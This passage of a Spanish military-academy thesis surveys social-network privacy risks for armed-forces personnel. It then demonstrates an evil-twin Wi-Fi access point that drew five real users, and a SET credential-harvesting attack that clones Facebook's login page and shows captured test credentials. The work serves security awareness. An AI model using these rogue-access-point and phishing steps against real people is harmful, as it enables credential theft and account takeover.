siendo mas normal entre integrantes mas jovenes.

Con el paso del tiempo y a medida que Facebook ha ido creciendo, ha ido adquiriendo
otras redes sociales como Instagram, WhatsApp, asi como diversas tecnologias, como
realidad virtual o reconocimiento facial. Sin embargo, con el paso del tiempo, Facebook ha
tenido graves problemas de seguridad y la privacidad de los usuarios de la red habria
quedado al descubierto en mas de una ocasion [37].

Como consecuencia de lo anterior, la propia red ha sido la encargada de ir proporcionando
mayores garantias de seguridad y privacidad a sus usuarios, aunque la red almacena
automaticamente datos como fotos, correos electronicos, nimeros de teléfono, etc. Tiene
prohibido cualquier negocio con la informacion de sus usuarios, pero si se permite el uso
de esta, como se recoge en uno de los siguientes términos legales que los usuarios han
aceptado por defecto:

“Usted le otorga a Facebook el derecho irrevocable, perpetuo, no exclusivo, transferible y
mundial (con la autorizacion de acordar una licencia secundaria) de utilizar, copiar,
publicar, difundir, almacenar, ejecutar, transmitir, escanear, modificar, editar, traducir,
adaptar, redistribuir cualquier contenido depositado en el porta/” [38].

Sucesivamente Facebook ha ido incorporando medidas de privacidad y seguridad para sus
usuarios, permitiéndole a estos cambiar configuraciones de seguridad como apariencia del
muro, cddigos de verificacion, informacion al correo de si alguien utiliza un usuario
indicando incluso la IP y la localizacion desde la que se realizo la busqueda.

Otras de las medidas que la red social ha llevado acabo es el borrado masivo de
informacidn anexada en los metadatos [39]. Esto significa que una vez que se sube una
foto o video, queda registrado dentro de los servidores de Facebook, y borra cualquier
informacion contenida en los metadatos de la foto, como usuario, modelo de camara o
movil, geolocalizacion, etc.

A dia de hoy, Facebook sigue teniendo motivos suficientes para preocupar a los usuarios

en lo que a su privacidad se refiere. No es por el borrado de datos o la utilizacion que

puedan hacer de los mismos, ni porque los usuarios den acceso a Facebook a sus archivos

personales, con las posibles filtraciones de los mismos. Hoy en dia preocupa mas el cariz

de inteligencia artificial que se le ha otorgado a la red social, permitiendo que ella misma
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(a través de modelos matematicos [40] y mediante la vinculacion de cuentas) nos sugiera
amistades. esto hace pensar al usuario hasta qué punto puede conocernos Facebook y hasta
qué nivel dentro de la red es capaz la aplicacion de llegar.

Como curiosidad para el desarrollo del presente trabajo, se llevo a cabo la apertura de un
perfil falso de Facebook, para lo cual se usaron imagenes de fuentes abiertas con el fin de
hacer un perfil creible. Sin embargo, tras un periodo de uso de la cuenta el propio sistema
de Facebook pidié la identificacion positiva de la misma. Es decir, solicitd enviar un
documento que acreditase que dicha cuenta estaba relacionada con un usuario real. Dicho
acontecimiento es un punto a favor en lo que a privacidad y seguridad se refiere.

En este punto surge la siguiente pregunta: ¢realmente es necesario que la aplicacion piense
por si sola e intente facilitar las comunicaciones a costa de nuestra privacidad? ¢Es
necesario que, desde la adquisicion de WhatsApp, la red social sea capaz de entrar en
nuestra agenda, compararla con la de Facebook y comenzar a proponernos acciones? ¢Es
Facebook una rueda de reconocimiento publica? Estas preguntas que, hoy en dia subyacen
en la cabeza de cualquier usuario, seran contestadas a lo largo del presente trabajo.

e Twitter: Es una aplicacion y red social de microblogging®. Denominado por las industrias
tecnoldgicas como el SMS de Internet, tiene su fecha de lanzamiento en marzo de 2006 y
cuenta hoy en dia con mas de 500 millones de usuarios. Tiene como caracteristica principal
que sus mensajes no pueden superar los 140 caracteres, permitiendo compartir las fotos de
otras aplicaciones, como Instagram o videos de YouTube. Cuenta ademas con la opcion de
geolocalizar cada uno de los mensajes (tuits) por parte del usuario [41].

A continuacion, en la Figura 2-14 se puede ver el logotipo de Twitter.

Figura 2-14 Logotipo de Twitter [42].

En cuanto a su privacidad, se ha especulado mucho sobre la posibilidad de que Twitter
estuviera vertiendo sus mensajes entre usuarios a la NSA*® [43]. También se desconoce
qué hace la red social en cuanto al almacenaje de fotos y datos como pasaria con la anterior
red social (Facebook).

Pese a no tener tantas configuraciones, como Facebook, también cuenta con la tecnologia
de borrado de metadatos [39]. Si bien la geolocalizacién y ciertos datos vertidos a la red
son el punto débil de la aplicacion, ya que con el empleo de ciertas herramientas (como
Creepy) somos capaces de obtener la localizacion de los tuits, la ubicacion fisica del
usuario, asi como el terminal en uso y horas mas usuales de publicaciones del usuario, asi
como sus posibles amistades, todos ellos datos Gtiles para un ciberdelincuente.

La franja de edad de maximo empleo estd entre los 18-29 afios [36] (la mayoria son
mujeres las que acceden a su uso). Destaca también que esta red social estd mas
implementada entre las instituciones oficiales y que el nivel de estudios predominante entre
sus usuarios son estudios superiores.

39 Servicio que permite a sus usuarios enviar y publicar mensajes breves, generalmente solo de texto.
40 (National Security Agency -Agencia de Seguridad Nacional): Es una agencia de inteligencia del Gobierno de los
Estados Unidos que se encarga de todo lo relacionado con la seguridad de la informacion.
29



ALVARO ANDRES DE LA CUADRA

Se caracteriza también por ser una red donde la mitad de sus contenidos son de caracter
informativo, aunque permite realizar conversaciones sobre temas propuestos por los
usuarios(hashtags).

En cuanto a la seguridad para sus usuarios, Twitter usa desde 2010 la tecnologia de
identificacion OAuth [44]. Consiste en delegar el proceso de identificacion a otra
aplicacion. De esta forma, el usuario no tiene que recordar un numero elevado de usuarios
para sus distintas redes sociales, correos, etc. Sin embargo, este método de identificacion
supone un problema para el usuario, ya que tiene sus servicios dependientes de otros
servicios. Es decir, si por algin motivo, estos fueran suplantados o eliminados, el resto
también fallaria.

Esta red social ha sufrido ataques de robo masivo de cuentas, incluso la del propio creador
de Facebook. A modo de anécdota, destaca el seguimiento de la ofensiva de ISIS*
realizada por las Fuerzas Armadas Iraquies tomando como base Twitter o el seguimiento
de las operaciones de las Fuerzas Armadas Israelies también tomando como base los tuits
de los combatientes [45].

Consecuencia de lo anterior es por lo que dicha red social se encuentra vetada o su acceso
sera restringida en los mismos paises vistos en el apartado anterior [34]. Por otra parte,
Twitter ha estado relacionada en los escandalos de ciberespionaje relacionados con la NSA
[43], viéndose también en entredicho su parcialidad tras los escandalos de WikilLeaks?*?,
donde se acusaba a la red social de ocultar o evitar que WikiLeaks se convirtiese en tema
de actualidad entre los usuarios.

¢ Instagram: Es una red social y aplicacion que permite compartir fotos y videos con el resto
de usuarios. Permite retocar las fotos que se suben a la red, asi como la interaccion y
comparticion de fotos con el resto de redes sociales. Se basa en el formato de tamafio de
fotos Polaroid, en cuanto a tamafio re refiere. EI lanzamiento de la aplicacion data de
octubre del afio 2010 y en la actualidad cuenta con méas de 500 millones de usuarios, si
bien se calcula que se conectan a esta e interactlan con esta, en torno a 300 millones de
usuarios diarios [46] . Desde 2012 pertenece a Facebook.

A continuacion, en la Figura 2-15 se puede ver el logotipo de Instagram.

Instagram

Figura 2-15 Logotipo de Instagram [47].

La banda de edad de mas comun empleo, se encuentra entre los 18 y los 29 afios [36],
siendo una red social méas utilizada por mujeres que por hombres. En la actualidad, cobra
especial importancia su uso entre corporaciones 0 empresas que quieren dar a conocer sus
productos de forma visual. Dentro de las Fuerzas Armadas, su uso estd mas extendida a los
usuarios mas jovenes, siendo en muchas ocasiones la plataforma de mas empleo.

4 Islamic State of Irag and Syria-Estado Islamico de Irak y Siria.

42 Es una organizacion medidtica internacional sin animo de lucro, que publica a través de su sitio web informes
anonimos y documentos filtrados con contenido sensible en materia de interés publico, preservando el anonimato de sus
fuentes.
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Instagram en su desarrollo, ha ido afiadiendo servicios que han sido duramente criticados
por la similitud a redes sociales ya existentes [48]. Sin lugar a dudas han sido los términos
de privacidad los que méas inconvenientes y protestas han tenido por parte de los usuarios,
ya que, en diciembre de 2012, Instagram publicaria los nuevos términos legales de
privacidad, donde queda recogido que se otorga el derecho a vender las fotos de los
usuarios a terceros sin notificacion o compensacion (a partir del 16 de enero de 2013 [49]).
Esta medida seria recurrida por los usuarios, organizaciones, como “National
Geographic”, hasta el punto de llegar a dejar de usar sus cuentas o eliminarlas, y la
consiguiente reaccion de disculpas por parte de la direccion de la empresa, con la
elaboracion de unas nuevas condiciones de privacidad y uso.

Dentro de las medidas de privacidad y seguridad, la red social ha llevado acabo el borrado
masivo de metadatos [39]. Esto significa que como hemos visto en apartados anteriores,
una vez que se sube la foto queda registrado dentro de los servidores, Instagram borra
cualquier informacién contenida en los metadatos de la foto. Esta medida también ha
supuesto una controversia entre los usuarios de la red social, ya que aquellos usuarios, que
suban una fotografia no podran demostrar que es suya, 0 que ha sido realizada por ellos.
Asi Instagram ha aprovechado para explicar a sus usuarios que las medidas adoptadas no
van en contra de la pertenencia o no de las fotos o videos subidos. Se debe simplemente a
cuestiones de seguridad.

e LinkedIn: Es una red social enfocada a dar a conocer al resto de usuarios el curriculum
personal de un usuario. Realizado y modificado por cada usuario, permite ademas
identificarse frente a instituciones o compafias. De esta misma forma las compariias se dan
a conocer al resto de usuarios. Enfocada también a la busqueda de mano de obra potencial
por parte de las compafiias, se permite el contacto entre usuario y posible contratante (se
asimilaria a una bolsa de empleo cibernética). Como aspecto positivo la red social permite
que otros usuarios indiquen si han trabajado con el usuario (potencial contratante) y
recomendarle publicamente al resto de usuarios. Esta medida surge como solucion al
problema de los perfiles, ya que no existe ningun organismo de verificacion sobre todo lo
que ha puesto el usuario en el perfil. Esta red social abarca cualquier campo de empleo, sin
distincion alguna.

A continuacion, en la Figura 2-16 se puede ver el logotipo de LinkedIn.

Linked [T}

Figura 2-16 Logotipo de LinkedIn [50].

LinkedIn nace a finales del afio 2002 [51] y cuenta con mas de 450 millones de usuarios,
de los que se calcula que solo un 25% [52] se encuentra activo y hace un uso habitual de la
red. En Espafia, el nimero de usuarios es de 8 millones de usuarios [53].

A lo largo de su desarrollo, la red social ha sufrido diversos ataques, siendo el mas
significativo el sufrido en el afio 2012, en el que fueron robadas mas de 6 millones de
cuentas [54]. Dicho robo se relacioné con el fallo del algoritmo SHA-1*3(desarrollado por
la NSA en la década de los 90) [55]. Mas tarde, en el afio 2016 se pusieron a la venta a

4 Algoritmo de autenticacion.
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través de la Deep Web* 117 millones de cuentas de usuarios y sus contrasefias [56],
dejando en evidencia la privacidad y seguridad que la compafiia ofrecia a sus usuarios (al
poder acceder a los perfiles se harian con informacion de caracter privado como correos y
nameros de teléfono). Fueron numerosos los esfuerzos de la empresa por desmentir dichos
rumores, adoptando como medida la sugerencia a los usuarios de cambios de contrasefias.

En 2016 Microsoft anuncia la compra de la red social LinkedIn.

LinkedIn, sin embargo, hace que todos los metadatos [39] de sus usuarios (como en
ejemplos anteriores) sean eliminados de cualquier tipo de archivo que se quiera compartir.
La red social se caracterizard por su caracter empresarial, siendo la franja de edad
predominante en la red social de 30 a 49 afios [36], enfocada a varones con estudios
superiores.

e WhatsApp: Es una aplicacion de mensajeria instantanea, disefiada para enviar y recibir
mensajes a traves de Internet. Desde su creacion ha conseguido que el uso de los SMS
haya quedado practicamente extinto. Ademas, dicha aplicacion permite enviar texto,
fotografias, videos y audios [57].

A continuacion, en la Figura 2-17 se puede ver el logotipo de WhatsApp.

Figura 2-17 Logotipo de WhatsApp [58].

Fue creada en 2009 [59] por Jan Koum, de origen ucraniano, que se trasladaria mas tarde a
Estados Unidos, donde hoy reside. WhatsApp cuenta en la actualidad con cerca de 1000
millones de usuarios, encontrandose por delante de otras aplicaciones similares como
Telegram, que Unicamente cuenta con 100 millones de usuarios. Su denominacién como
red social ha quedado en entredicho, si bien se la reconoce como red social debido al uso
de grupos y estados afiadidos recientemente.

Para comunicarnos con ella es necesario que el contacto se encuentre dentro de nuestra
lista de contactos o al menos tengamos su nimero de teléfono.

En la actualidad, ofrece servicios de VoIP*, permitiendo Illamadas de audio y de video.
Fue adquirida en 2014 por Facebook, lo que supone que ambas aplicaciones se encuentran
enlazadas. Esto explica que las listas de contactos apareciesen en posibles sugerencias de
amistad (entre otras utilidades de su integracion).

Sin embargo, WhatsApp en su evolucion ha presentado multiples problemas de seguridad.
En 2011, debido a un fallo, las cuentas de los usuarios, quedaron expuestas para poder ser
robadas. Ademas, WhatsApp en sus inicios no contaba con cifrado en las comunicaciones,
lo que propicio el nacimiento de Telegram [60], ya que, sin cifrado [61], cualquier
ciberdelincuente podria acceder a las comunicaciones entre dos usuarios. Estos hechos
propiciaron que la Oficina Alemana de Regulacion de la Privacidad aconsejara a sus
usuarios su no utilizacion debido a que dicha aplicacion no se encontraba regulada por
ninguna legislacion europea, en lo que a seguridad y privacidad se refiere. En abril de 2016

4 También conocida como Web Oscura, es la parte de la red que carece de regulacion juridica, y cuenta como maxima
fundamental con el anonimato de sus integrantes.
4 Voz sobre IP, es decir llamadas a través de Internet.
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WhatsApp anuncié el cifrado de las conversaciones, asegurando que ni desde la propia
empresa serian capaces de leerlas (hecho que aproveché “Anonymus *® para desmentirlo y
sefalar la posible existencia de una puerta trasera en la aplicacion [61]).

En cuanto a la privacidad, debido a que las fotos que envia son previamente comprimidas,
todas ellas carecen de metadatos, y, en ese sentido, respeta la privacidad. Sin embargo,
muchos usuarios han elevado sus quejas a los desarrolladores de la aplicacion, debido a
que consideran que la privacidad se encuentra en entredicho cuando en un mismo grupo
aparecen identificados todos los nimeros, o cuando la aplicacién informa de la ultima hora
de conexidn de sus usuarios. Estos hechos estan siendo estudiados, como es el caso de los
nameros, 0 han sido solucionados como la informacién de recibido o ultima conexion.
Otro hecho que puede afectar a la privacidad, es la mejora que va a plantear WhatsApp
para su proxima version, al poder sus contactos estar geolocalizados tras enviar un mensaje
de grupo [62].

En la actualidad, se le reconoce como uno de los métodos mas rapidos de intercambio de
informacidn, tanto como para el envio de texto como para el envio de material gréafico.
Dentro de las FAS, es uno de los métodos de comunicacion empleados de manera personal
en zona de operaciones, ya que el volumen de datos utilizados por dicha aplicacién para
enviar mensajes es de menor tamafio que el utilizado por otras aplicaciones o redes
sociales.

A modo de ejemplo destaca que fue WhatsApp el medio de comunicacion y coordinacién
empleado en el reciente fallido golpe de estado en Turquia por los elementos sublevados
[63].

2.4.3 Organizaciones terroristas en redes sociales

Es importante sefialar, debido a su completa actualidad, que la red no solamente se ha convertido
en base sobre la que lanzar diferentes tipos de ciberataques, sino que ademas es el campo de actuacion,
en cuanto a propaganda y comunicaciones se refiere, de todas las organizaciones terroristas, tanto de
caracter nacional como internacional. Es a través de ella donde se da a conocer su propaganda o se
lanzan consignas para ese tipo de guerra asimétrica.

Ha sido precisamente la falta de control de la misma, la que las ha convertido en plataformas de
uso delictivo.

En la actualidad, las organizaciones terroristas basan su actividad en la red en redes sociales y
paginas web. Los beneficios que pueden obtener son difusion y propaganda del terror, reclutamiento y
activismo, entrenamiento y concienciacion, coordinacion y planificacion, conexion interna y por
ultimo conexion con otros grupos terroristas [2].

e Operacion “Gallant Phoenix”: Operacion militar llevada a cabo en Jordania y paises
proximos. Esta liderada por la Agencia de Inteligencia de la Defensa (DIA) estadounidense
y junto a los efectivos de este pais hay que sumarle los de muchos otros, entre ellos
Espafia.

El objetivo de la mision es monitorizar la red, intentando recoger de la misma la maxima
informacidn relacionada con el ISIS o sus componentes.

Una vez localizada la misma, se pasa a su explotacion. Esto trae consigo la anulacion de
toda aquella relacionada con el ISIS como organizacién, o el aprovechamiento de la

4 Conjunto de personas con conexion a internet, cuyo comun ideal, por encima de cualquier otro, es la defensa de la
libertad de expresion.
33



ALVARO ANDRES DE LA CUADRA

relacionada con sus miembros. Llegado este punto, se debe aclarar que “aprovechar una
informacion asociada a un componente” es valorar si la misma es eficiente y concluyente
para lanzar una operacion de “destruccion” sobre el mismo.

Es importante sefalar el juego tan importante que tienen en este proceso todos los sistemas
de analisis de redes [45].

e Terrorismo Yihadista en la red: El afio 2015, marca un antes y un después de la amenaza
terrorista, la cual comienza a expandirse a través de la red. Los primeros en sumarse en una
lucha publica contra el ISIS seria la corriente “hacktivista*”” Anonymous con sus dos
principales operaciones #OpCharlieHebdo y #OplSIS, guerra que comenzarian a librar a
partir de la fecha de dichos acontecimientos [64].

Es entonces, cuando las principales organizaciones de ciberdefensa mundial, ven una
oportunidad clara para sumarse a la contienda; pero esperaban un enemigo menos potente,
ya que el ISIS, contaria desde su origen con un ejército de hackers.

Tras la declaracion de guerra, “Anonymous ”, saca a la luz cerca de 10.000 [65] cuentas de
Twitter, Facebook y correos electrénicos de miembros y simpatizantes del ISIS. Esto causa
malestar entre las principales agencias que también luchaban contra el 1SIS, ya que con
esta accion quedan al descubierto perfiles de personal de inteligencia que trataba de
obtener informacion.

Entre los principales ataques desarrollados por los hackers del ISIS (quienes estudiaron
mayoritariamente en universidades europeas) destacan los sufridos por el Mando Central
de Estados Unidos, que vio como sus cuentas de Twitter y YouTube eran “hackeadas”, y
donde se pudieron ver frases como la siguiente:

"Soldados estadounidenses, vamos por ustedes, vigilen sus espaldas... Sabemos todo sobre
ustedes, sobre sus esposas, sus hijos".

En la Figura 2-18 se puede ver uno de los maltiples ataques sufridos por el CENTCOM*
estadounidense por parte de los hackers del ISIS.

B4 U.S. Central Command Lx Follow

AMERICAN SOLDIERS, WE ARE COMING, WATCH YOUR BACK. ISIS. Cybercaliphate

In the name of Allah, the most Gracious, the most merciful,
the Cybercaliphate under th s \(S c»hc Jihad,

while the US and its satellites kill our broth and Afghanistan

we broke into your works and personal devices and iow & eryuwivg about you.

You' 11 see no mer idels. IsIS is already here, we are in your PCs, in each military base.
we are in CENTCOM now.

eryzmng about you, your wives and children.

u. rs! we're watchin g Yo

Here' s a 91 t of confidentia dua from your mobile devices

http://pastebin. com/v25pP7y9

There is no God but Allah and Muhammad is his Prophet! There is no law but Sharia!

85 5 [ fea A= PN TR L)

Figura 2-18 Captura de pantalla del “hackeo” del CENTCOM [66].

Ademas de acceder a archivos de personal del Departamento de Defensa de los Estados
Unidos, también se filtraron listas de direcciones de Altos Mandos del ejército
estadounidense.

47 Individuo que lleva a cabo acciones de activismo a través de la red.
4 Central Command — Mando central de los Estados Unidos
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Durante el desarrollo de la contienda, los hackers del ISIS desarrollaron sus propias
aplicaciones de mensajeria, como Farachar. También desarrollaron videojuegos cuya
tematica consistia en degollar, asesinar y hacer explotar a individuos occidentales.

También impulsan su proceso de captacion, disefiando portales destinados a uniones
matrimoniales para “sus guerreros”. El objetivo era atraer mujeres, “futuras esposas”, a los
lugares de la contienda.

Las principales potencias europeas reaccionan con la creacion de unidades destinadas a
frenar dichos fines. Ejemplos hay muchos: la unidad cibernética alemana, de reciente
creacion, o el Batallon 77 [65], perteneciente a la Armada britanica con un total de 1500
efectivos. Israel cuenta a su vez con la denominada Unidad 8200 [18], cuyos integrantes se
cuentan por varios miles de miembros y cuyos cometidos son hacer la guerra cibernética.
Espafia cuenta con el Mando Conjunto de Ciber Defensa con un total de unos 120 efectivos
[18], numero muy inferior a los anteriormente citados. Destaca como curiosidad que en
cualquier estructura de inteligencia la ciberdefensa forma parte de la misma. Sin embargo,
en Espafa es diferente, hecho que ha propiciado un escaso desarrollo y una diversificacion
en la formacion con el consabido aumento del gasto.

2.4.4 Infoxicacion, privacidad y seguridad

Se define la infoxicacion como una sobrecarga de informacion dificil de procesar [67]. En ese
sentido, los medios de comunicacion se han desarrollado hasta el extremo de producir una sobrecarga
de informacién en la red. Las redes sociales también ayudan a que se propicie dicho fenémeno, y son
los propios usuarios quienes de alguna forma lo facilitan. En la actualidad, se da el caso de un exceso
en el volumen de informacion existente en redes sociales. Cuando los usuarios dan demasiada
informacién sobre ellos, el hecho pasa a ser motivo preocupante respecto a la privacidad y la
seguridad, incapaz de asimilar y gestionar semejante cantidad de informacion.

Se entiende por privacidad el nivel de proteccion de la informacion de un usuario y la capacidad
con que se puede obtener dicha informacion [68]. Puesto que en la mayoria de los casos es el usuario
el que puede regular dicho flujo de datos conviene generar cierta concienciacion entre ellos. En esta
memoria se recalca la necesidad de que el militar espafiol llegue a concienciarse de que su grado de
privacidad debe ser, al menos, el existente en otras FAS de paises aliados. Esa capacidad la tienen
exclusivamente ellos, como usuarios.

Es destacable situaciones vividas durante operaciones en el extranjero por parte de tropas
espafiolas, en el que el enemigo realiza “falsos secuestros de militares espafioles” [69]. Dichos
secuestros parten de la obtencion de informacion a través de redes sociales sobre los supuestos
secuestrados. Con estos datos, el supuesto secuestrador contacta con las familias por teléfono diciendo
que su familiar estaba secuestrado, que guarden silencio y depositen una cierta cantidad de dinero en
una cuenta. Este y otros ejemplos son debidos a imprudencias de privacidad en los perfiles de las redes
sociales y demas perfiles en la red.

El concepto de seguridad estd relacionado con las herramientas disponibles para hacer un uso
corriente de la red, sin caer en malware o elementos de “phising **°. Segun recientes estudios del
IEEE® la seguridad de un usuario en la red depende casi en su totalidad de él mismo, ya que procesos
como la eleccion de contrasefia, las URL maliciosas, softwares no oficiales y otros elementos de
interaccion en la red son elegidos por él mismo [70].

49 Hacerse pasar por una persona o empresa conocida, con el fin de introducir un malware en la plataforma objetivo.
50 Instituto Espafiol de Estudios Estratégicos.
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A dia de hoy, en lugar de vivir en el siglo de las comunicaciones, estamos viviendo en el siglo de
las “sobre-comunicaciones”. Es la sociedad la que camina en el sentido de la interconexion y es ella
misma, la que podria producir un colapso en si misma. Asi, en el momento en el que un individuo se
vuelve vulnerable, la sociedad se vuelve vulnerable. Esta afirmacion es extensible a las FAS. Si sus
componentes son vulnerables, las FAS como organizacion pasara a serlo.

2.5 Personal de las FAS como victimas de ciberataques

La OTAN estudia las amenazas bajo la perspectiva del concepto de TESSCO. Este concepto
comprende las valoraciones de las amenazas que tienen su origen en el terrorismo, espionaje, sabotaje,
subversion y crimen organizado. En la actualidad se contempla una quinta, aquellas que tienen su
origen en las redes sociales y las relaciona con las anteriormente citadas.

En la auditoria de perfiles de redes sociales de este trabajo, nos ajustamos a estos estandares para
comprobar hasta qué punto la informacion que hay en la red sobre un integrante de las FAS supone, o
no, un riesgo para las FAS y su imagen.

Un sujeto se puede constituir como objetivo, en el ciberespacio, por dos motivos [18]:

e Porque es el objetivo en si.
e Porque es parte de un objetivo general, en este caso las FAS.

Como consecuencia de toda la informacién vertida en la red cualquier atacante potencial podria
obtener informacion para emplearla dentro de las amenazas contempladas en el concepto TESSCO. En
algunos casos, la primera “victima” puede ser el individuo, pero no hay que perder de vista, que mucha
de la informacién depositada en la red atenta contra la institucion, contra los componentes de la misma
y contra su propia imagen [69].
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3 DESARROLLO DEL TFG

3.1 Obtencidn de la informacion

3.1.1 Engafio en la conexion

Durante el desarrollo de este apartado, se ha observado que la red de la Escuela Naval Militar se
encuentra bien protegida con su propio servidor DNS, cosa que no ocurre en las instalaciones Wi-Fi de
las viviendas. Destacamos que la red de Defensa®! cuenta también con su propio servidor DNS, lo que
hace casi imposible dentro de la red realizar un ataque “DNS spoofing”.

Dentro de la red de la Escuela Naval Militar, como se ha sefialado, la posibilidad de hacer “DNS
spoofing” es practicamente imposible, aunque, si se atacase al servidor DNS seria posible realizarlo.
En cualquier caso, se encuentra mas alla de los cometidos de este trabajo.

La solucion llevada a cabo para hacer un “DNS Spoofing” ha consistido en la creacién de un
punto de acceso Wi-Fi falso con el mismo nombre que la red de la Escuela Naval Militar,
aprovechando los cortes de luz sufridos durante la realizacidn del trabajo. Con este sistema, es posible
hacer “DNS Spoofing”, ya que las peticiones DNS del usuario se pueden redirigir en cuanto se conecta
al punto de acceso falso.

A continuacion, en la Figura 3-1 y Figura 3-2 se puede ver la variacion en la tabla de conexiones.

Conexion de red inalambrica ~
tarado Conectado 1.1'|!

wificud oL

m

WLANL-FG2FH4 oL
dlink oL
Power 1.1_'|!_
Wificuartel M
mastia o 1'|!
ReDios 2.0 o =

Abrir Centro de redes y recursos compartidos

Figura 3-1 Tabla de conexiones antes.

51 Es la red utilizada por los integrantes de las FAS, asequible a través de ordenadores corporativos que puedan
acceder a dicha VPN.

37



ALVARO ANDRES DE LA CUADRA

Conexion de red inalambrica ~
Wificud Conectado _yf|

WLANL-FG2FH4 1.1_l||_

m

Power 1-1_'|!_
dlink il
wificud l
mastia |
Wificuartel N
Flybox-0D76 N kY

Abrir Centro de redes y recursos compartidos

Figura 3-2 Tabla de conexiones después.

Después de hacer esto, basta con esperar a que alguna victima caiga dentro de la trampa. Se puede
observar que el nombre de la red no es exactamente el mismo debido a que si la red trampa tiene el
mismo nombre que el Wi-Fi de la escuela se pisaran las redes, haciendo que la trampa desaparezca.
Durante el desarrollo, se observa que esa diferencia no llama la atencién a los usuarios que se
conectan, teniendo en cuenta que es un unico punto de acceso que emite y su sefial no es captada mas
alla del arco de emision de este.

Si bien, como se vio anteriormente, la herramienta SET (Social Engieneering Toolkit), es capaz de
crear dentro de una red un punto de acceso falso, esto no fue necesario, debido a que se aprovecho la
caida de la red eléctrica en la que los encaminadores se desconfiguraban para poder crear un punto de
acceso falso. Aunque se sefiala que existe mas de una opcion para este proceso, otra de las opciones es
la utilizacion de Pineapple.

Como se demuestra a continuacion en la Figura 3-3, dicho ataque de ingenieria social tuvo éxito
haciendo que en las proximidades del punto de acceso, se conectasen hasta 5 usuarios.

v® conectado
Orange

00:44:16 293.76 MB

ol 4G
@« 5

Figura 3-3 Usuarios conectados a falsa red.

Es sobre alguno de estos cinco usuarios sobre los cuales se lleva a cabo el “DNS Spoofing ”, con la
intencidn de obtener credenciales o informacion valiosa.
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3.1.2 Realizacién del “DNS Spoofing ”
Por motivos de seguridad y éticos, realizamos el ataque sobre un sistema propio, demostrando que
es facilmente realizable, Ilegando a poder obtener diversas cuentas y usuarios.
Para el proceso de clonacion de la pagina utilizaremos la herramienta SET (Social Engineering
Toolkit).

Durante el proceso de prueba se ha utilizado una pagina con protocolo HTTPS, demostrando que
sobre estas también vamos a poder ser capaces de hacerlo y recordando siempre que estamos haciendo

la prueba en la red falsa.
A continuacion, en la Figura 3-4 se puede ver los pasos seguidos para la realizacion del ataque
“DNS spoofing”.

root@Kkali: ~ e ® O root@kali: ~ e ® 0
File Edit View Search Terminal Help File Edit View Search Terminal Help
Ji7 s vpcun a5 useu tur wiwe 11 tiie Server Wit TuoT tus
[-1 If you're using an external IP, use your external IP for this
The second method Wlu completely clone a websng of your choosing set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.10
and allow you to utilize the attack vectors within the completely 8
same web application you were attempting to clone. [-] SET supports both HTTP and HTTPS

] Example: http://www.thisisafakesite.com

The third method allows you to import your own website, note that you t'webattack> EfterathetuniStonclone v tacebankeicon

should only have an index.html when using the import website
functionality.

1) Web Templates
%; zigiog?g:ért [The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.

99) Return to Webattack Menu

|set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within

T
[-] to harvest credentials or parameters from a website as well as place them in

to a report
[-]1 This option is used for what IP the server will POST to. 2 >
[-] If you're using an external IP, use your external IP for this ALl f11es ha\_/e been cep%eq to /vav/ww/htr_nl ¥
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.10) SET is now listening for incoming credentials. You can control-c out of this
BN ] and completely exit SET at anytime and still keep the attack going.

A1V £ilac 3en Tneotad sndar tha Ansche vk eant dicactarue fiise fusssfhbmd

Figura 3-4 Realizacion de un ataque “DNS Spoofing”.

Como ejemplo, si el usuario realiza un acceso a la pagina Facebook, la herramienta redirecciona la
conexion a una pagina clonada (Figura 3-5) creada para este proposito donde se capturara el nombre de

usuario y su clave.

Applications +

Iniciar sesién en Facebook | Facebook - Mozilla Firefox [N -]

/ B Iniciar sesion en Face.. x | #
U3N6 192 165.1.108) & |[®search *B 9 3 A =
[E|Most Visited v JllOffensive Security \, Kali Linux “\ Kali Docs "\ Kali Tools [BExploit-DB Wy Aircrack-ng

!

}acebook S—

Inicia sesién en Facebook
Correo electronico o nimero de teléfono

Contrasefia

Has olvidado los datos de a cuenta? - Registrate en Facebook

Figura 3-5 Pagina de Facebook clonada.

Si el usuario no es experto no se dara cuenta de que la direccion de la URL no coincide con
la que se ha introducido.
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root@Kkali: ~ @ ® 0

Iniciar sesién en Facebook | Faceboak - Mozilla Firefox e (]
File Edit View Search Terminal Help

[profile_selector_ids] => \n',)
[return_session] => \n',)
[skip_api login] => \n',)
[signed next] => \n',)

[trynum] => 1\n',)

[timezone] => O\n',)
[lgndim] => eyJ3IjoxMDIOLCJoIjo3NjgsImF3IjoxMDIOLCIhaCI6NZQxXLCIjIjoyNHO=\n

3 Inickar sesion en Face.. ® | 4

€ 192168.1.108 TEe 9 3+ 4 =

Offensive Securtty Kl Lnus ", Kall Docs N, Kali Teols [BExpict-08 W Akcrack-ng

BMost Visited

facebook [

[lgnrnd] => 075135 _5p0G\n‘,)
[lgnjs] => 1484409209\n’,)
[email prueba99@tfg.es\n’',)
[pass] => prueba99\n'
[persistent] => \n',)
[default persistent] => 1\n',)
gsstamp] => WI1tbNCwxMCwxMiwzMiw2MCw5MywxMDUsMTM2LDE10CwxNzEsMTgxLDE4Mywx0
DIxNywyMjUsMjI4LDIONSwyNzgsMjKkOLDMzMywzNTUsMzU3LDM20SwzNzMsMzkzLDQyOCwON
yLDUwMiwlMjAsNTQ2LDU2NywINzMsNTgyLDUS0Cw2Mj ksNjQ3LDY20Cw2NzEsN] kzLDkwM11dL
(CIBWmSRWWEMTE13eDhPSkVvOTNKMm5XVHIZVHQ2Q2JoMVEXSzF2ZGxibFhVTFRYX09sRkZwemZSeVIVd
“ WpvajZfYUlxcGljSOptQXYwaX1sVkdPTD11THFDMXQ4ZmVEDVp20DFSNXRmaUYyaTRPVTREUWAMT jBQN
2 cividada koa caios da s cuanta” - Reglskata an Facabok HpZeVNaSVRFAmMR6NHFRb2FBCXZXSXI6N1ESWE41ZEE4U3kzamVWTXc4ZHIIRVpFQTIOCUINQ2FoQzdOe
FRUC20xWD12WWZ1iV25yaXBuTGVqbDh1V2t1SOFDZTAzZFN2YmhmUEZ3WG5VbkZwS3N3cUTPTX1Ubj B3I
16=\n',)
(')\n',)
LI

Inicia sesion en Facebook

Figura 3-6 Usuarios y contrasefias obtenidos.

Tras introducir los datos (Figura 3-6), el usuario estaria entregando los datos de usuario y
